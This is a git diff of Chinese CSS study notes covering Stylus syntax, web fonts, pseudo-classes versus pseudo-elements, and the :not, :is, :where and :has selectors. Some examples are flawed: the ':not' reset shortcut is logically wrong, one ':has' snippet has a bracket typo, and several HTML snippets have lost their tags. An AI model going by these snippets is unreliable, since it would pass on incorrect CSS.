+显然,这不是我们想要的,如下书写就安全了: + +```stylus +body + if ohnoes is defined + padding 5px + +``` + +#### 三元 + +三元运算符的运作正如大部分语言里面的那样。三个操作对象的操作符(条件表达式、真表达式以及假表达式)。 + +```stylus +num = 15 +num ? unit(num, 'px') : 20px // => 15px + +``` + +#### 铸造 + +作为替代简洁的内置 `unit()` 函数,语法 `(expr) unit` 可用来强制后缀。 + +```stylus +body + n = 5 + foo: (n)em + foo: (n)% + foo: (n + 5)% + foo: (n * 5)px + foo: unit(n + 5, '%') + foo: unit(5 + 180 / 2, deg) + +``` + +#### 颜色操作 + +颜色操作提供了一个简洁,富有表现力的方式来改变其组成。例如,我们可以对每个 `RGB`: + +```stylus +#0e0 + #0e0 // => #0f0 + +``` + +另外一个例子是通过增加或减少百分值调整颜色亮度。颜色亮,加;暗,则减。 + +```stylus +#888 + 50% // => #c3c3c3 +#888 - 50% // => #444 + +``` + +我们也可以通过增加或减去色度调整色调。例如,红色增加 `65deg` 就变成了黄色。 + +```stylus +#f00 + 50deg // => #ffd500 + +``` + +值适当固定。例如,我们可以"旋转" `180度` 的色调,如果目前的值是 `320deg`, 将变成 `140deg`. + +我们也可能一次调整几个值(包括 `alpha`),通过使用 `rgb()`, `rgba()`, `hsl()`, 或 `hsla()`: + +```stylus +#f00 - rgba(100,0,0,0.5) // => rgba(155,0,0,0.5) + +``` + +#### 格式化字符串 + +格式化字符串模样的字符串 `%` 可以用来生成字面量值,通过传参给内置 `s()` 方法。 + +```stylus +'X::Microsoft::Crap(%s)' % #fc0 // => X::Microsoft::Crap(#fc0) + +``` + +多个值需要括起来: + +```stylus +'-webkit-gradient(%s, %s, %s)' % (linear (0 0) (0 100%)) // => -webkit-gradient(linear, 0 0, 0 100%) + +``` + +### 混合书写 + +#### 混入 + +混入和函数定义方法一致,但是应用却大相径庭。例如,下面有定义的 `border-radius(n)` 方法,其却作为一个 `mixin`(如,作为状态调用,而非表达式)调用。 当 `border-radius()` 选择器中调用时候,属性会被扩展并复制在选择器中。 + +```stylus +border-radius(n) + -webkit-border-radius n + -moz-border-radius n + border-radius n + +form input[type=button] + border-radius(5px) + +``` + +编译成: + +```stylus +form input[type=button] { + -webkit-border-radius: 5px; + -moz-border-radius: 5px; + border-radius: 5px; +} + +``` + +使用混入书写,可以完全忽略括号。 + +```stylus +border-radius(n) + -webkit-border-radius n + -moz-border-radius n + border-radius n + +form input[type=button] + border-radius 5px + +``` + +注意到我们混合书写中的 `border-radius` 当作了属性,而不是一个递归函数调用。 + +更进一步,我们可以利用 `arguments` 这个局部变量,传递可以包含多值的表达式。 + +```stylus +border-radius() + -webkit-border-radius arguments + -moz-border-radius arguments + border-radius arguments + +``` + +现在,我们可以像这样子传值:`border-radius 1px 2px / 3px 4px` 另外一个很赞的应用是特定的私有前缀支持——例如IE浏览器的透明度: + +```stylus +support-for-ie ?= true + +opacity(n) + opacity n + if support-for-ie + filter unquote('progid:DXImageTransform.Microsoft.Alpha(Opacity=' + round(n * 100) + ')') + +#logo + &:hover + opacity 0.5 + +``` + +渲染为: + +```stylus +#logo:hover { + opacity: 0.5; + filter: progid:DXImageTransform.Microsoft.Alpha(Opacity=50); +} + +``` + +#### 父级引用 + +混合书写可以利用父级引用字符 `&`, 继承父业而不是自己筑巢。 + +例如,我们要用 `stripe(even, odd)` 创建一个条纹表格。`even` 和 `odd` 均提供了默认颜色值,每行也指定了 `background-color` 属性。我们可以在 `tr` 嵌套中使用 `&` 来引用 `tr`,以提供 `even` 颜色。 + +```stylus +stripe(even = #fff, odd = #eee) + tr + background-color odd + &.even + &:nth-child(even) + background-color even + +``` + +然后,利用混合书写,如下: + +```stylus +table + stripe() + td + padding 4px 10px + +table#users + stripe(#303030, #494848) + td + color white + +``` + +另外,`stripe()` 的定义无需父引用: + +```stylus +stripe(even = #fff, odd = #eee) + tr + background-color odd + tr.even + tr:nth-child(even) + background-color even + +``` + +如果你愿意,你可以把 `stripe()` 当作属性调用。 + +```stylus +stripe #fff #000 + +``` + +#### 混合书写中的混合书写 + +混合书写可以利用其它混合书写,建立在它们自己的属性和选择器上。 例如,下面创建内联 `comma-list()`(通过 `inline-list()`)以及逗号分隔的无序列表。 + +```stylus +inline-list() + li + display inline + +comma-list() + inline-list() + li + &:after + content ', ' + &:last-child:after + content '' + +ul + comma-list() + +``` + +渲染: + +```stylus +ul li:after { + content: ", "; +} +ul li:last-child:after { + content: ""; +} +ul li { + display: inline; +} + +``` + +### 函数 + +#### 函数 + +`Stylus` 强大之处就在于其内置的语言函数定义。其定义与混入(`mixins`)一致;却可以返回值。 + +#### 返回值 + +例如,两数值相加的方法 + +```stylus +add(a, b) + a + b + +body + padding add(10px, 5) + +``` + +渲染: + +```stylus +body { + padding: 15px; +} + +``` + +#### 默认参数 + +在 `Stylus` 中,可以设置默认参数。例如: + +```stylus +add(a, b = a) + a + b + +add(10, 5) // => 15 +add(10) // => 20 + +``` + +因为参数默认是赋值,我们可以使用函数调用作为默认值: + +```stylus +add(a, b = unit(a, px)) + a + b + +``` + +#### 函数体 + +可以把简单的 `add()` 方法更进一步。通过内置 `unit()` 把单位都变成 `px`, 因为赋值在每个参数上,因此可以无视单位换算。 + +```stylus +add(a, b = a) + a = unit(a, px) + b = unit(b, px) + a + b + +add(15%, 10deg) // => 25 + +``` + +#### 多个返回值 + +`Stylus` 的函数可以返回多个值,就像你给变量赋多个值一样。例如下面就是一个有效赋值: + +```stylus +sizes = 15px 10px + +sizes[0] // => 15px + +``` + +类似的,我们可以在函数中返回多个值: + +```stylus +sizes() + 15px 10px + +sizes()[0] // => 15px + +``` + +有个小小的例外就是返回值是标识符。例如,下面看上去像一个属性赋值给 `Stylus`(因为没有操作符)。 + +```stylus +swap(a, b) + b a + +``` + +为避免歧义,可以使用括号,或是 `return` 关键字。 + +```stylus +swap(a, b) + (b a) + +swap(a, b) + return b a + +``` + +#### 条件 + +假如,我们想要创建一个名为 `stringish()` 的函数,用来决定参数是否是字符串。检查 `val` 是否是字符串或缩进(类似字符)。如下,使用 `yes` 和 `no` 代替 `true` 和 `false`. + +```stylus +stringish(val) + if val is a 'string' or val is a 'ident' + yes + else + no + +``` + +使用: + +```stylus +stringish('yay') == yes // => true +stringish(yay) == yes // => true +stringish(0) == no // => true + +``` + +> 注意:`yes` 和 `no` 并不是布尔值。 + +另外一个例子: + +```stylus +compare(a, b) + if a > b + higher + else if a < b + lower + else + equal + +// 使用: +compare(5, 2) // => higher +compare(1, 5) // => lower +compare(10, 10) // => equal + +``` + +#### 别名 + +给函数起个别名,例如上面的 `add()` 添加别名plus(), 如下: + +```stylus +plus = add + +plus(1, 2) // => 3 + +``` + +#### 变量函数 + +可以把函数当作变量传递到新的函数中。例如,`invoke()` 接受函数作为参数,因此可以传递`add()` 以及 `sub()`. + +```stylus +invoke(a, b, fn) + fn(a, b) + +add(a, b) + a + b + +body + padding invoke(5, 10, add) + padding invoke(5, 10, sub) + +``` + +结果: + +```stylus +body { + padding: 15; + padding: -5; +} + +``` + +#### 参数 + +`arguments` 是所有函数体都有的局部变量,包含传递的所有参数。 + +例如: + +```stylus +sum() + n = 0 + for num in arguments + n = n + num + +sum(1,2,3,4,5) // => 15 + +``` + +#### 哈希示例 + +下面,我们定义 `get(hash, key)` 方法,用来返回 `key` 值或 `null`. 我们遍历每个键值对,如果键值匹配,返回对应的值。 + +```stylus +get(hash, key) + return pair[1] if pair[0] == key for pair in hash + +``` + +下面例子可以证明,语言函数模样的 `Stylus` 表达式具有更大的灵活性。 + +```stylus +hash = (one 1) (two 2) (three 3) +get(hash, two) // => 2 +get(hash, three) // => 3 +get(hash, something) // => null + +``` + +## 关键字参数 + +#### 关键字参数 + +`Stylus` 支持关键字参数,或 `kwargs`. 允许你根据相关参数名引用参数。 + +下面这些例子功能上都是一样的。但是,我们可以在列表中的任何地方放置关键字参数。其余不键入参数将适用于尚未得到满足的参数。 + +```stylus +body { + color: rgba(255, 200, 100, 0.5); + color: rgba(red: 255, green: 200, blue: 100, alpha: 0.5); + color: rgba(alpha: 0.5, blue: 100, red: 255, 200); + color: rgba(alpha: 0.5, blue: 100, 255, 200); +} + +``` + +等同于: + +```stylus +body { + color: rgba(255,200,100,0.5); + color: rgba(255,200,100,0.5); + color: rgba(255,200,100,0.5); + color: rgba(255,200,100,0.5); +} + +``` + +查看函数或混合书写中接受的参数,可以使用 `p()` 方法。 + +```stylus +p(rgba) + +``` + +生成: + +```stylus +inspect: rgba(red, green, blue, alpha) + +``` + +### 注释 + +#### 注释 + +`Stylus` 支持三种注释,单行注释,多行注释,以及多行缓冲注释。 + +#### 单行注释 + +跟 `JavaScript` 一样,双斜杠,`CSS` 中不输出。 + +```stylus +// 我是注释! +body + padding 5px // padding + +``` + +#### 多行注释 + +多行注释看起来有点像 `CSS` 的常规注释,它们只有在 `compress` 选项未启用的时候才会被输出。 + +```stylus +/* + * 给定数值合体 + */ + +``` + +#### 多行缓冲注释 + +跟多行注释类似,不同之处在于开始的时候,这里是 `/*!`. 这个相当于告诉 `Stylus` 压缩的时候这段无视直接输出。 + +```stylus +/*! + * 给定数值合体 + */ +``` + +## Stylus进阶用法 + +### 剩余参数 + +#### 剩余参数 + +`Stylus` 支持 `name...` 形式的其余参数。这些参数可以消化传递给混写或函数的参数们。这在处理浏览器私有属性,如 `-moz` 或 `-webkit` 的时候很管用。下面这个例子中,所有的参数 `(1px, 2px, ...)` 都被一个 `args` 参数给简单处理了: + +```stylus +box-shadow(args...) + -webkit-box-shadow args + -moz-box-shadow args + box-shadow args +#login + box-shadow 1px 2px 5px #eee + +``` + +生成为: + +```stylus +#login { + -webkit-box-shadow: 1px 2px 5px #eee; + -moz-box-shadow: 1px 2px 5px #eee; + box-shadow: 1px 2px 5px #eee; +} + +``` + +想指定特定的参数,如 `x-offset`,可以使用 `args[0]`, 或者,可能希望重新定义混入。 + +```stylus +box-shadow(offset-x, args...) + got-offset-x offset-x + -webkit-box-shadow offset-x args + -moz-box-shadow offset-x args + box-shadow offset-x args +#login + box-shadow 1px 2px 5px #eee + +``` + +生成为: + +```stylus +#login { + got-offset-x: 1px; + -webkit-box-shadow: 1px 2px 5px #eee; + -moz-box-shadow: 1px 2px 5px #eee; + box-shadow: 1px 2px 5px #eee; +} +``` + +#### 参数 + +`arguments` 变量可以实现表达式的精确传递,包括逗号等等。这可以弥补 `args...` 参数的一些不足,例子: + +```stylus +box-shadow(args...) + -webkit-box-shadow args + -moz-box-shadow args + box-shadow args +#login + box-shadow #ddd 1px 1px, #eee 2px 2px + +``` + +结果并非想要得到的: + +```stylus +#login { + -webkit-box-shadow: #ddd 1px 1px #eee 2px 2px; + -moz-box-shadow: #ddd 1px 1px #eee 2px 2px; + box-shadow: #ddd 1px 1px #eee 2px 2px; +} + +``` + +逗号被忽略了。现在使用 `arguments` 重新定义这个混合书写。 + +```stylus +box-shadow() + -webkit-box-shadow arguments + -moz-box-shadow arguments + box-shadow arguments +body + box-shadow #ddd 1px 1px, #eee 2px 2px + +``` + +得到想要的结果: + +```stylus +body { + -webkit-box-shadow: #ddd 1px 1px, #eee 2px 2px; + -moz-box-shadow: #ddd 1px 1px, #eee 2px 2px; + box-shadow: #ddd 1px 1px, #eee 2px 2px; +} + +``` + +### 条件 + +#### 条件 + +条件提供了语言的流控制,否则就是纯粹的静态语言。提供的条件有导入、混入、函数以及更多。 + +#### if / else if / else + +跟一般的语言一致, `if` 表达式满足 `(true)` 的时候执行后面语句块,否则,继续后面的 `else if` 或 `else`. + +下面这个例子,根据 `overload` 的条件,决定是使用 `padding` 还是 `margin`. + +```stylus +overload-padding = true + +if overload-padding + padding(y, x) + margin y x + +body + padding 5px 10px + +``` + +另外的例子: + +```stylus +box(x, y, margin = false) + padding y x + if margin + margin y x + +body + box(5px, 10px, true) + +``` + +另外的box()帮手: + +```stylus +box(x, y, margin-only = false) + if margin-only + margin y x + else + padding y x + +``` + +#### 除非(unless) + +熟悉 `Ruby` 程序语言的用户应该都知道 `unless` 条件,其基本上与 `if` 相反,本质上是 `(!(expr))`. + +下面这个例子中,如果 `disable-padding-override` 是 `undefined` 或 `false`, `padding` 将被干掉,显示 `margin` 代替之。但是,如果是 `true`, `padding` 将会如期继续输出 `padding 5px 10px`. + +```stylus +disable-padding-override = true + +unless disable-padding-override is defined and disable-padding-override + padding(x, y) + margin y x + +body + padding 5px 10px + +``` + +#### 后缀条件 + +`Stylus` 支持后缀条件,这就意味着 `if` 和 `unless` 可以当作操作符;当右边表达式为真的时候执行左边的操作对象。例如,我们定义 `negative()` 来执行一些基本的检查。下面我们使用块式条件: + +```stylus +negative(n) + unless n is a 'unit' + error('无效数值') + if n < 0 + yes + else + no + +``` + +接下来,利用后缀条件让我们的方法简洁。 + +```stylus +negative(n) + error('无效数值') unless n is a 'unit' + return yes if n < 0 + no + +``` + +当然,我们可以更进一步。如这个 `n < 0 ? yes : no` 可以用布尔代替:`n < 0`。后缀条件适用于大多数的单行语句。如,`@import`, `@charset`, 混合书写等。当然,下面所示的属性也是可以的: + +```stylus +pad(types = margin padding, n = 5px) + padding unit(n, px) if padding in types + margin unit(n, px) if margin in types +body + pad() +body + pad(margin) +body + apply-mixins = true + pad(padding, 10) if apply-mixins + +``` + +结果为: + +```stylus +body { + padding: 5px; + margin: 5px; +} +body { + margin: 5px; +} +body { + padding: 10px; +} + +``` + +### 迭代 + +#### 迭代 + +`Stylus` 允许你通过 `for/in` 对表达式进行迭代形式如下: + +```stylus +for [, ] in + +``` + +例如: + +```stylus +body + for num in 1 2 3 + foo num + +``` + +生成: + +```stylus +body { + foo: 1; + foo: 2; + foo: 3; +} + +``` + +下面这个例子演示了如何使用 ``: + +```stylus +body + fonts = Impact Arial sans-serif + for font, i in fonts + foo i font + +``` + +生成为: + +```stylus +body { + foo: 0 Impact; + foo: 1 Arial; + foo: 2 sans-serif; +} +``` diff --git "a/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Web \345\256\211\345\205\250\345\255\227\344\275\223\345\222\214\347\275\221\347\273\234\345\255\227\344\275\223 (Web Fonts).md" "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Web \345\256\211\345\205\250\345\255\227\344\275\223\345\222\214\347\275\221\347\273\234\345\255\227\344\275\223 (Web Fonts).md" new file mode 100644 index 00000000..890943a0 --- /dev/null +++ "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/Web \345\256\211\345\205\250\345\255\227\344\275\223\345\222\214\347\275\221\347\273\234\345\255\227\344\275\223 (Web Fonts).md" @@ -0,0 +1,95 @@ +# Web 安全字体和网络字体 (Web Fonts) + +## 什么是Web安全字体 + +网络安全字体是由许多操作系统预先安装的字体。虽然不是所有的系统都安装了相同的字体,但你可以使用网络安全字体堆栈来选择几种看起来类似的字体,并且安装在你想支持的各种系统上。如果你想使用预装字体以外的字体,从CSS3开始,你可以使用网络字体[Web fonts - Learn web development | MDN](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Web_fonts)。 + +> Web safe fonts are fonts that are pre-installed by many operating systems. While not all systems have the same fonts installed, you can use a web safe font stack to choose several fonts that look similar, and are installed on the various systems that you want to support. If you want to use fonts other than ones pre-installed, as of CSS3, you can use Web Fonts. + +- 英文Web安全字体合集 [CSS Font Stack: Web Safe and Web Font Family with HTML and CSS code.](https://www.cssfontstack.com/) + +### 没有网页安全中文字体 + +相比通常只有几十 KB 的英文字体,网页加载一个 GB2312 的中文字体至少要增加 2 MB 以上加载量,而大部分中文字体都在 5 MB 以上。所以网络字体在国内没有流行起来,还是要像英文网页好多年前一样,用网页安全字体。 + +下表可以看到各系统预置的中文字体——各系统根本没有相同的字体,即没有网页安全中文字体! + +| 系统 | 预置中文字体 | +| :------- | ------------------------------------------------------------ | +| Mac OS X | 华康苹方 Pingfang(10.11 开始) 冬青黑体: Hiragino Sans GB (10.6 开始) 华文细黑:STHeiti Light (又名STXihei) 华文黑体:STHeiti 华文楷体:STKaiti 华文宋体:STSong 华文仿宋:STFangsong | +| Windows | 微软雅黑: Microsoft YaHei(Windows 7开始) 黑体: SimHei 宋体: SimSun 新宋体: NSimSun 仿宋: FangSong 楷体: KaiTi 仿宋GB2312: FangSong_GB2312 楷体GB2312: KaiTi_GB2312 | +| Android | Droid Sans Fallback | +| iOS | 苹方(iOS 9开始) 黑体:Heiti SC (iOS 8) 华文黑体:STHeiti(iOS 7.0 及以下) | + +## 什么是网络字体 + +与网络安全字体不同,网络字体没有预先安装在用户的系统中。这些字体是由用户的浏览器在渲染网页时下载的,然后应用于你的文本。使用网络字体的主要缺点是它会减慢你网站的加载时间。在旧的浏览器中,对CSS3的支持也很有限,而使用网络字体是需要CSS3的。后面的限制可以通过使用字体堆栈来弥补,类似于网络安全字体堆栈,但包括一个网络字体作为堆栈的第一个字体。如果浏览器无法使用网络字体,它就会退回到堆栈中的网络安全字体。 + +> Unlike web safe fonts, web fonts are not pre-installed on the user's system. The fonts are downloaded by the user's browser while rendering the webpage, and then applied to your text. The main drawbacks of using web fonts is it will slow your site's load time. There is also limited support for CSS3 in older browsers which is required to use web fonts. The later limitation can be remedied by using a font stack, similar to the web safe font stacks, but including a web font as the first font of the stack. If a browser is unable to use the web font it will fall back on the web safe fonts in the stack. + +Web 字体是一种 CSS 特性,允许我们指定在访问时随您的网站一起下载的字体文件,这意味着任何支持 Web 字体的浏览器都可以使用指定的字体。所需的语法如下所示: + +首先,在 CSS 的开始处有一个[`@font-face`](https://developer.mozilla.org/zh-CN/docs/Web/CSS/@font-face)块,它指定要下载的字体文件: + +```css +@font-face { + font-family: "myFont"; + src: url("myFont.ttf"); +} +``` + +在这个下面,你可以使用 @font-face 中指定的字体种类名称来将你的定制字体应用到你喜欢的任何东西上,比如说: + +```css +html { + font-family: "myFont", "Bitstream Vera Serif", serif; +} +``` + +关于网页字体有两件重要的事情要注意: + +1. 浏览器支持不同的字体格式,因此需要多种字体格式以获得良好的跨浏览器支持。例如,大多数现代浏览器都支持 WOFF / WOFF2(Web Open Font Format versions 1 and 2,Web 开放字体格式版本 1 和 2),它是最有效的格式,但是旧版本 IE 只支持 EOT (Embedded Open Type,嵌入式开放类型) 的字体,你可能需要包括一个 SVG 版本的字体支持旧版本的 iPhone 和 Android 浏览器。 +2. 字体一般都不能自由使用。我们必须为他们付费,或者遵循其他许可条件,比如在代码中 (或者在站点上) 提供字体创建者标识。你不应该在没有适当的授权的情况下偷窃字体。 + +## 字体类型 - 常见字体族 + +### serif 衬线字体族 + +serif 是一种具有装饰性小横线的字体族,这些小横线被称为“衬线”。Serif 字体通常被用于印刷材料中,如书籍、杂志、报纸等,因为它们的衬线可以增强字体的可读性和易读性。常见的 Serif 字体包括 Times New Roman、Georgia、和 Garamond。 + +### sans-serif 无衬线字体族 + +sans-serif 是一种不带装饰性小横线的字体族。这种字体通常被用于数字屏幕上,如电脑、手机和电视。与 Serif 字体相比,Sans-serif 字体看起来更现代、更简洁。常见的 Sans-serif 字体包括 Arial、Helvetica 和 Verdana。 + +### monospace 等宽字体族 + +monospace 是一种字母宽度相等的字体族,每个字符都占据相同的宽度。Monospace 字体通常用于计算机编程、打印机输出和其他需要对齐文本的应用程序。常见的 Monospace 字体包括 Courier、Consolas 和 Monaco。 + +### cursive 手写字体族 + +cursive 是一种仿效手写的字体族,具有曲线、流畅的线条。这种字体通常被用于设计师、艺术家和文具爱好者等需要体现个性和艺术感的场合。常见的 Cursive 字体包括 Brush Script、Lucida Calligraphy 和 Comic Sans。 + +### fantasy 梦幻字体族 + +fantasy 是一种具有艺术性和独特性的字体族,经常用于海报、书籍封面和广告等场合。这种字体的外形往往是有趣、古怪、奇特或装饰性的,常常包含有装饰性的花纹或图案。常见的 Fantasy 字体包括 Harrington、Viner Hand ITC 和 Zapfino。 + +### Script 手写字体族 + +Script 字体族是一类字体,通常被设计用于模拟手写或手绘效果,以及营造一种自然、随意的艺术氛围。这类字体通常具有不规则的笔画、流畅的曲线和变化多端的字母间距,使得文本看起来像是手写而非打印。Script 字体族的应用领域非常广泛,例如印刷品设计、标志设计、广告设计等。常见的 Script 字体有 Brush Script、Lobster、Pacifico、Vibur 等。 + +## 总结 + +为了确保中文字符在不同计算机和浏览器上的正确显示,网页设计or开发者可以考虑: + +1. 使用 Web 服务商提供的字体库:像 Google Fonts、Adobe Fonts 等服务商提供了很多中英文字体库,这些字体可以被网页直接引用,无需用户安装字体即可正常显示。 +2. 使用图像或矢量图形:将中文字符转换为图像或矢量图形,并将其嵌入到网页中。虽然这种方法可以确保字符在不同浏览器和计算机上的正确显示,但其缺点是无法进行文本搜索和复制粘贴等操作。 +3. 引用多个字体:如果设计者希望在网页中使用多种中文字体,可以在 CSS 样式表中指定多个备选字体。例如:font-family: "宋体", "SimSun", "Microsoft YaHei", "微软雅黑", sans-serif; + +需要注意的是,尽管某些字体在设计中看起来很不错,但并不一定适合用作 Web 安全字体。设计or开发者需要权衡字体的外观和可用性,选择最适合自己需求的中文 Web 安全字体。 + +## 参考 + +- [Web fonts - Learn web development | MDN](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Web_fonts) +- [CSS Font Stack: Web Safe and Web Font Family with HTML and CSS code.](https://www.cssfontstack.com/) +- [中文网页字体设置 | inDev. Journal](https://frankindev.com/2018/03/01/chinese-fonts-in-web/) +- [serif,sans-serif,monospace,cursive和fantasy - 腾讯云开发者社区-腾讯云](https://cloud.tencent.com/developer/article/1444565) diff --git "a/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/\344\274\252\347\261\273\344\270\216\344\274\252\345\205\203\347\264\240\347\232\204\345\214\272\345\210\253.md" "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/\344\274\252\347\261\273\344\270\216\344\274\252\345\205\203\347\264\240\347\232\204\345\214\272\345\210\253.md" new file mode 100644 index 00000000..5e600ba5 --- /dev/null +++ "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/\344\274\252\347\261\273\344\270\216\344\274\252\345\205\203\347\264\240\347\232\204\345\214\272\345\210\253.md" @@ -0,0 +1,66 @@ +--- +date: 2021-04-24 +category: +- CSS +- 前端 +--- + +# 伪类与伪元素的区别 + +### **伪类(pseudo-classes)** + +其核心就是用来选择那些不能够被普通选择器选择的文档之外的元素,比如:hover。 + +### **伪元素(Pseudo-elements)** + +其核心就是需要创建通常不存在于文档中的元素,比如::before。 + +### **伪类与伪元素的区别** + +- 表示方法 + + CSS2 中伪类、伪元素都是以单冒号`:`表示,CSS2.1 后规定伪类用单冒号表示,伪元素用双冒号`::`表示,浏览器同样接受 CSS2 时代已经存在的伪元素(:before, :after, :first-line, :first-letter 等)的单冒号写法。对于 CSS2 之后所有新增的伪元素(如::selection),应该采用双冒号的写法。但是因为兼容性问题,大部分还是用的单冒号。 + +- 定义不同 + + 伪类即假的类,通常可以添加类来达到效果,伪元素即假元素,需要通过添加元素才能达到效果。来看下面的例子 + + **例 1:将一行字符串的首字母变成红色** + + 现在不用伪元素应该如何实现?用 CSS slector 选择?想了一晚上也没想出来,既然没法选择也就没法添加一个类来改变首字母的颜色。 + + ```html +

    I am snow

    + ``` + + 添加元素试试,如下,创建一个元素 span 将首字母包裹起来,进而改变其颜色,成功了。这里,关键点在于我们创建了新的元素达到了`::first-letter`的作用,且不能通过添加其他类来实现这一效果,因此将`::first-letter`叫做伪元素而不是伪类。 + + ```html +

    I am snow

    + ``` + + **例 2: 如下要将 I am snow 这句话变为红色** + + 很简单用`:first-child`,同样添加一个类试试,显然很容易达到同样效果,我们并没有创建新的元素只是添加了一个类`.red-line`,因此将`:first-child`叫做伪类而不是伪元素,尽管它和`::first-letter`在语义上十分相似。 + + ```html + div:first-child { + color: red; + } + 或 + .red-line { + color: red; + } + +
    +

    I am snow

    +
    + ``` + +### **结论** + +- 伪类和伪元素都是用来表示文档树以外的"元素"。 +- 伪类和伪元素分别用单冒号`:`和双冒号`::`来表示。 +- 伪类和伪元素的区别,最关键的点在于如果没有伪元素(或伪类),是否需要添加元素才能达到目的,如果是则是伪元素,反之则是伪类。 + +关于常用的伪类与伪元素选择器可以查看[CSS选择器](https://juejin.cn/post/6844903807386648583)一文。 diff --git "a/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" new file mode 100644 index 00000000..63ec8e4e --- /dev/null +++ "b/src/CSS/\345\237\272\347\241\200\347\237\245\350\257\206/\351\200\273\350\276\221\347\273\204\345\220\210\344\274\252\347\261\273.md" @@ -0,0 +1,162 @@ +# 逻辑组合伪类 :not() :is :where :has + +本文将介绍4个逻辑组合伪类,分别是`:not()` `:is` `:where` `:has` ,这四个伪类的自身优先级为0,这与其他伪类相同,但处理时是将其和括号里的参数作为一个整体计算优先级,这就导致了实际表现出的优先级由参数决定(除了`:where()` 的优先级总是为 0)。 + +目前这四位目前都得到了大多数浏览器的广泛支持,同时非常实用,务必掌握哦~ + +## 否定伪类 :not() + +`:not()` 伪类用于否定选择器,可以接受一个或多个选择器作为参数,如果元素不匹配参数中的任何一个选择器,则匹配该伪类,它也被称为反选伪类(negation pseudo-class)。 + +1. `:not()` 伪类优先级是0,即本身没有任何优先级,其优先级由括号内表达式决定 + +```css +:not(li) {} +``` + + 其优先级就是 `li` 选择器的优先级。 + +2. `:not()` 伪类可以不断级联 + +```css +body :not(div):not(span) { + font-weight: bold; +} +``` + + 表示既不是`
    ` 也不是` ` 的元素 + +3. `:not()` 伪类目前已支持多个表达式 + +```css +body :not(div, .fancy) { + text-decoration: overline underline; +} +``` + + 表示不是`
    `或 `.fancy` 的元素 + +### 告别重置 + +`:not`伪类最大的作用就是可以优化我们过去重置CSS样式的策略,使我们代码更加简介,易于理解,例如: + +```css +.panel{ + display: none; +} + +.panel .active{ + display: block; +} +``` + +实际上我们可以简写成 + +```css +.panel :not(.active){ + display: block; +} +``` + +类似的,希望大家能够培养这种意识,对于遇到需要重置CSS样式的场景,第一反应就是使用`:not`伪类。 + +## 任意匹配伪类 :is() + +### :is()伪类与:matches()伪类及:any()伪类之间的关系 + +2018 年 10 月底,`:matches ()`伪类改名为`:is()`伪类 ([[selectors-4] Rename :matches() to :is() · Issue #3258 · w3c/csswg-drafts](https://github.com/w3c/csswg-drafts/issues/3258)),因为`:is()`的名称更简短,且其语义正好和`:not() `相反。 + +也就是说,`:matches ()`伪类是`:is ()`伪类的前身。然后很有趣的是`:matches ()`还有一个被舍弃的前身,那就是`:any()`伪类,被舍弃的原因是选择器的优先级不准确,`:any()`伪类会忽略括号里面选择器的优先级,而永远是普通伪类的优先级。 + +`:any()`伪类名义上虽然被舍弃了,但是除了 IE/Edge 以外的浏览器都支持,而且很早就支持,现在也都支持,不过都需要添加私有前缀,如`-webkit-any()`以及`-moz-any()`。 + +### 用法 + + `:is()` 将选择器列表作为参数,并选择该列表中任意一个选择器可以选择的元素。这对于以更紧凑的形式编写大型选择器非常有用。 + +```css +/* 选择 header、main、footer 里的任意一个悬浮状态的段落 */ +:is(header, main, footer) p:hover { + color: red; + cursor: pointer; +} + +/* 以上内容相当于以下内容 */ +header p:hover, +main p:hover, +footer p:hover { + color: red; + cursor: pointer; +} +``` + +### :is() 和 :where() 的区别 + +两者的区别在于 `:is()` 计入整体选择器的优先级(它接受优先级最高参数的优先级),而 `:where()` 的优先级为 0。 + +综上,`is()`是一个有用但不被迫切需要的伪类,但是还是很实用的 + +## 任意匹配伪类 :where() + +`:where()`伪类是和`:is()`伪类一同出现的,它们的含义、语法、作用一模一样。唯一的区别就是优先级不一样,`:where()` 伪类的优先级永远是 0。例如: + +```css +:where(.article, section) p {} +``` + +的优先级等同于 `p` 选择器,参数里的选择器的优先级被完全忽略。 + +又如: +```css +:where(#article, #section) .content {} +``` + +的优先级等同于`.content` 选择器 + +### 可容错选择器解析 + +规范将 `:is()` 和 `:where()` 定义为接受一个[可容错选择器列表](https://drafts.csswg.org/selectors-4/#typedef-forgiving-selector-list) + +在 CSS 中使用选择器列表时,如果任何选择器无效,则整个列表被视为无效,即如果某个选择器无法解析,则被视为无效,不正确或不受支持的选择器将被忽略,其他选择器将被使用。 + +```css +:is(:valid, :unsupported) { + /* … */ +} +``` + +即使在不支持 `:unsupported` 的浏览器中,仍将正确解析 `:valid`,而这种写法: + +```css +:valid, +:unsupported { + /* … */ +} +``` + +在不支持 `:unsupported` 浏览器中即使它们支持 `:valid`,仍将忽略。 + +## 关联伪类 :has() + +`:has()`伪类是一个规范制定得很早但浏览器却迟迟没有支持的伪类。如果浏览器能够支持,其功能会非常强大,因为它可以实现类似“父选择器”和“前面兄弟选择器”的功能(提供了一种针对引用元素选择父元素或者先前的兄弟元素的方法),对CSS 的开发会有颠覆性的影响。 + +例如: + +```css +a:has(> svg) [} +``` + +表示匹配包含有``元素的``元素,实现的就是“父选择器”的效果,即根据子元素选择父元素。 + +又如: + +```css +h1:has(+ p) {} +``` + +表示匹配后面跟随`

    `元素的`

